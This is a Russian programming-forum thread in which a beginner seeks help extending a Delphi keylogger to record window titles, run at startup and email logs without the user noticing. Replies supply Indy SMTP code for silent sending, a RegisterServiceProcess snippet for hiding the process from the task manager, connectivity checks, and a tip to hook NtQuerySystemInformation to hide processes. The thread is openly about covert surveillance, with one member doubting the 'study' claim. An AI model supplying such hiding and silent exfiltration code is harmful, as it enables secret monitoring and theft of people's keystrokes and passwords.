Форум программистов, компьютерный форум, киберфорум
Наши страницы
Delphi для начинающих
Войти
Регистрация
Восстановить пароль
 
Рейтинг: Рейтинг темы: голосов - 41, средняя оценка - 4.76
Pactpo
0 / 0 / 0
Регистрация: 27.02.2011
Сообщений: 10
#1

Кейлогер - Delphi

27.02.2011, 18:12. Просмотров 5659. Ответов 17
Метки нет (Все метки)

Где то(возможно и на вашем сайте) нашел исходник кейлогера без использования динамических библиотек. Хотел бы чтобы кто нибудь построчно обьяснил что делает та или иная функция, ибо язык и принципы знаю плохо . И еще, как реализовать запись только в нужных окнах, например где присутствует edit box , или как узнавать и записывать в файл заголовки окон в которых вводилось , по возможности время. Также мне очень странен путь записи в автозапуск, может кто нибудь обьяснит почему он такой. Ну и прям на грани нереального, как реализовать отправку на почту ? Все ради учебных целей. Заранее спасибо.
0
Вложения
Тип файла: txt Текстовый документ.txt (3.6 Кб, 382 просмотров)
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
Similar
Эксперт
41792 / 34177 / 6122
Регистрация: 12.04.2006
Сообщений: 57,940
27.02.2011, 18:12
Я подобрал для вас темы с готовыми решениями и ответами на вопрос Кейлогер (Delphi):

Нужно встроить кейлогер в программу
Привет всем. Мне нужно встроить кейлоггер в программу мою, подскажите где можно взять встраиваемый исходник кейлоггера. Благодарю!

Кейлогер
Народ помогите плиз... Надо составить программу кейлогер,чтоб составляла лог нажатых кнопок английского алфавита и цифр...и скажем...

кейлогер
добр день. есть ли софтина которая полностью эмулирует все нажатия клавиш,движение/клики мышки с одного компьютера на другой? т.е. на одном...

Кейлогер
Заразил свою машину данным чудом, возможно я, возможно нет, ибо не один пользуюсь, как узнать, куда он шлет данные?Если так можно,...

кейлогер
помогите создать кейлогер мне нужен всего то на 1раз узнать про девушку кое какую инфу люди не пишите тупых ответов очень прошу если...

Подозрение на кейлогер
Здравствуйте. Есть подозрение на кейлогеры или типа того. Пожалуйста посмотрите логи если не затруднит Вас. Буду ждать ответа. Спасибо.

17
ArtGrek
425 / 53 / 15
Регистрация: 31.12.2010
Сообщений: 191
28.02.2011, 00:38 #2
вот вам текст обьясните мне что в нем и научите програмировать
так не поидет, прочти текс, если что то не понятно пишеш в гугле название функции и рядом слово делфи,
и ишеш, если уже не сможеш то спрашиваи, но о конкретных вещах, а не обо всем
1
Pactpo
0 / 0 / 0
Регистрация: 27.02.2011
Сообщений: 10
28.02.2011, 07:42  [ТС] #3
Ладно, ответ такой ожидал . Вот книжечку скачал, разбираю. Тогда конкретный вопрос. Можно ли организовать отправку сообщения с вложением без ведома пользователя. Можно ли сделать эту отправку как бы от меня же ,то есть я вхожу в почту и сам себе отсылаю. Опять же этот процесс не должен быть виден пользователю
0
anonimus
2154 / 1244 / 143
Регистрация: 28.04.2010
Сообщений: 4,571
28.02.2011, 10:03 #4
Можно ли организовать отправку сообщения с вложением без ведома пользователя
можно
Можно ли сделать эту отправку как бы от меня же
можно

код для отправки
Delphi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
procedure TForm1.Button2Click(Sender: TObject);
begin
IdSMTP1.Host:='smtp.mail.ru'; // smtp сервер
IdSMTP1.Port:=25;
IdSMTP1.Username:='логин';
IdSMTP1.ASCIIFilter:=true;
IdSMTP1.Password:='пароль';
IdMessage1.Body.Text :='текст сообщения';
IdMessage1.Subject:='тема';
IdMessage1.From.Name:='Имя отправителя';
IdMessage1.From.Address:='адрес отправителя';
IdMessage1.Recipients.EMailAddresses:='адрес получателя';
IdSMTP1.Connect();
if IdSMTP1.Connected then
IdSMTP1.Send(IdMessage1) else ShowMessage('подключиться не удалось');
 
IdSMTP1.Disconnect;
 
end;
только естественно ShowMessage убери ))
1
Pactpo
0 / 0 / 0
Регистрация: 27.02.2011
Сообщений: 10
28.02.2011, 13:02  [ТС] #5
Спасибо большое,действительно помогло. Попробую поставить таймер и засунуть это дело в цикл пока письмо не отправиться. Это дело не будет отображаться в диспетчере как приложение?ну первая вкладка то есть
0
anonimus
2154 / 1244 / 143
Регистрация: 28.04.2010
Сообщений: 4,571
28.02.2011, 13:04 #6
Цитата Сообщение от Pactpo Посмотреть сообщение
Это дело не будет отображаться в диспетчере как приложение
в процессах будет
1
Pactpo
0 / 0 / 0
Регистрация: 27.02.2011
Сообщений: 10
28.02.2011, 14:06  [ТС] #7
Это хорошо, процессы не всегда смотрят. Ладно буду разбираться. Еще раз спасибо
0
Mad_Dog
Фрилансер
449 / 430 / 117
Регистрация: 01.06.2010
Сообщений: 1,315
28.02.2011, 14:12 #8
Цитата Сообщение от Pactpo Посмотреть сообщение
Это хорошо, процессы не всегда смотрят. Ладно буду разбираться. Еще раз спасибо
Вот я, например, думаю, что продвинутый юзверь первым делом процессы и посмотрит...
И вообще, похоже делаешь прогу для рассылки анонимок от третьих лиц???
0
Pactpo
0 / 0 / 0
Регистрация: 27.02.2011
Сообщений: 10
28.02.2011, 14:27  [ТС] #9
Ну да, вы точно заметили , что более менее продвинутый пользователь. Я например толком не знаю какой процесс за что отвечает. И тем более не знаю какой безопасен для компьютера, а какой с злым умыслом действует .
0
ArtGrek
425 / 53 / 15
Регистрация: 31.12.2010
Сообщений: 191
28.02.2011, 15:57 #10
твои процесс будет под твоим именем а не именем системы, а таких не так уш много, если не установить кучу програм(около30)
попробуи так скрыть
Delphi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function RegisterAsService(Enable: Boolean): boolean;
type
  TRSP = function(H: THandle; K: word): longword; stdcall;
var
  RSP: TRSP;
begin
  @RSP := GetProcAddress(GetModuleHandle(PChar('kernel32.dll')),
    PChar('RegisterServiceProcess'));
  Result := Assigned(@RSP);
  if Result then
  begin
    if Enable then
      Result := (RSP(0, 1) = 1)
    else
      Result := (RSP(0, 0) = 1);
  end;
 
Пример использования: 
// OnCreate
RegisterAsService(True); // Спрятали
 
// on **
RegisterAsService(False); // Показали
1
Pactpo
0 / 0 / 0
Регистрация: 27.02.2011
Сообщений: 10
28.02.2011, 19:26  [ТС] #11
Тоже хорошо, попробую. Еще возник вопрос, вот я пытаюсь отправить сообщение представим.. А подключение к интернет не активно..ошибка же выскочит? Нужно ли проверять есть ли соединение ? Или я не прав и никаких сообщений о ошибке не будет..
0
anonimus
2154 / 1244 / 143
Регистрация: 28.04.2010
Сообщений: 4,571
28.02.2011, 19:31 #12
заключи отправку в try Excep и не будет ошибки
1
Pactpo
0 / 0 / 0
Регистрация: 27.02.2011
Сообщений: 10
28.02.2011, 19:32  [ТС] #13
Хотя ладно,приду домой и проверю
0
ArtGrek
425 / 53 / 15
Регистрация: 31.12.2010
Сообщений: 191
28.02.2011, 19:55 #14
Метод на основе InetIsOffline

Функция InetIsOffline не декларирована в Delphi и это неоходимо сделать вручную:
Delphi
1
 function InetIsOffline(Flag: Integer): Boolean; stdcall; external 'URL.DLL'
Функция возращает true, если существует соединение с Internet и false при остутствии соединения.

Метод на основе InternetGetConnectedState

Функция InternetGetConnectedState библиотеки wininet.dll прозволяет проверить наличие соединения с Интернет
Delphi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
const  
 INTERNET_CONNECTION_MODEM      = 1;  
 INTERNET_CONNECTION_LAN        = 2;  
 INTERNET_CONNECTION_PROXY      = 4;  
 INTERNET_CONNECTION_MODEM_BUSY = 8;
 
function InternetGetConnectedState(lpdwFlags: LPDWORD; dwReserved:DWORD):BOOL; stdcall; external 'wininet.dll' name 'InternetGetConnectedState';
 .... 
function IsInternetConnected: Boolean;
var  
 dwConnectionTypes: DWORD;
begin 
 dwConnectionTypes := INTERNET_CONNECTION_MODEM or 
                      INTERNET_CONNECTION_LAN or 
                      INTERNET_CONNECTION_PROXY;  
 Result := InternetGetConnectedState(@dwConnectionTypes, 0);
end;
Метод на основе GetHostByName

В совете "Определение IP адреса и имени хоста" описана методика, позволяющая определить IP адрес хоста. Так вот, при отсутстии соединения компьютера с Интернет (вернее поправка - при отсутствии связи с ЛВС) возвращаемый адрес = '127.0.0.1', при наличии - адрес, присвоенный провайдером. Естественно, метод столь-же некорректен и ненадежен, что и остальные ...

Метод на основе GetSystemMetrics

Проверить соединение с Интернет можно при помощи функции API GetSystemMetrics:
Delphi
1
2
3
4
function IsInternetConnected: Boolean;
begin
 Result := GetSystemMetrics(SM_NETWORK) and 1 > 0;
end;
2
Pactpo
0 / 0 / 0
Регистрация: 27.02.2011
Сообщений: 10
28.02.2011, 20:40  [ТС] #15
Ммм, такого вроде в паскале небыло. Забавная вещь, полезная... Я правильно понял то что между Try и except я вставлюяю "проблемный код" а после except действие которое нужно сделать если получиться ошибка. Может отправлять на метку? Просто это легче всего , но вроде эти скачки по меткам в разной литературе не одобряются . Или цикл? При неправильной отправке сообщения через почту какой нибудь код ошибки возвращается?

Добавлено через 37 минут
У меня семь пятниц на неделепопробую использовать Internetgetconnectedstate
0
schdub
Эксперт С++
3015 / 1360 / 415
Регистрация: 19.01.2009
Сообщений: 3,613
Завершенные тесты: 1
28.02.2011, 23:12 #16
Цитата Сообщение от ArtGrek Посмотреть сообщение
попробуи так скрыть
Delphi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function RegisterAsService(Enable: Boolean): boolean;
type
  TRSP = function(H: THandle; K: word): longword; stdcall;
var
  RSP: TRSP;
begin
  @RSP := GetProcAddress(GetModuleHandle(PChar('kernel32.dll')),
    PChar('RegisterServiceProcess'));
  Result := Assigned(@RSP);
  if Result then
  begin
    if Enable then
      Result := (RSP(0, 1) = 1)
    else
      Result := (RSP(0, 0) = 1);
  end;
 
Пример использования: 
// OnCreate
RegisterAsService(True); // Спрятали
 
// on **
RegisterAsService(False); // Показали
Функция RegisterServiceProcess() работает только под Win9x, в более поздних версиях сокрытие процесса можно реализовать с помощью перехвата NtQuerySystemInformatoin().
2
Pactpo
0 / 0 / 0
Регистрация: 27.02.2011
Сообщений: 10
01.03.2011, 12:52  [ТС] #17
Мм, я правильно понял что этот код скрывает мой процесс за системным?
0
Алкаш Владимир
1 / 1 / 0
Регистрация: 28.02.2016
Сообщений: 36
13.04.2016, 06:17 #18
Цитата Сообщение от Pactpo Посмотреть сообщение
Где то(возможно и на вашем сайте) нашел исходник кейлогера без использования динамических библиотек. Хотел бы чтобы кто нибудь построчно обьяснил что делает та или иная функция, ибо язык и принципы знаю плохо . И еще, как реализовать запись только в нужных окнах, например где присутствует edit box , или как узнавать и записывать в файл заголовки окон в которых вводилось , по возможности время. Также мне очень странен путь записи в автозапуск, может кто нибудь обьяснит почему он такой. Ну и прям на грани нереального, как реализовать отправку на почту ? Все ради учебных целей. Заранее спасибо.
Скинь пожалуйста , этот исходник , я сейчас тоже хочу написать кейлоггер ...
0
13.04.2016, 06:17
MoreAnswers
Эксперт
37091 / 29110 / 5898
Регистрация: 17.06.2006
Сообщений: 43,301
13.04.2016, 06:17
Привет! Вот еще темы с решениями:

Кейлогер и сокеты
Здравствуйте, дорогие форумчане! Вопрос у меня образовался. Код данный кейлогером мной написанным является, и шлет он данные перехваченные...

Кейлогер - самый маленький код
кто знает самый маленький код кейлогерра?( на C++ Builder)

Нужно написать курсовой проект кейлогер
Вообщем задали курсач, нужно написать keyloger, исходники на форумах нашел, но нет нигде смены языка, может кто знает что дописать чтоб...

Как написать службу, чтобы кейлогер запускался до входа в пользователя?
Не уверен в тот ли раздел написал или нет.


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
18
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2018, vBulletin Solutions, Inc.
Рейтинг@Mail.ru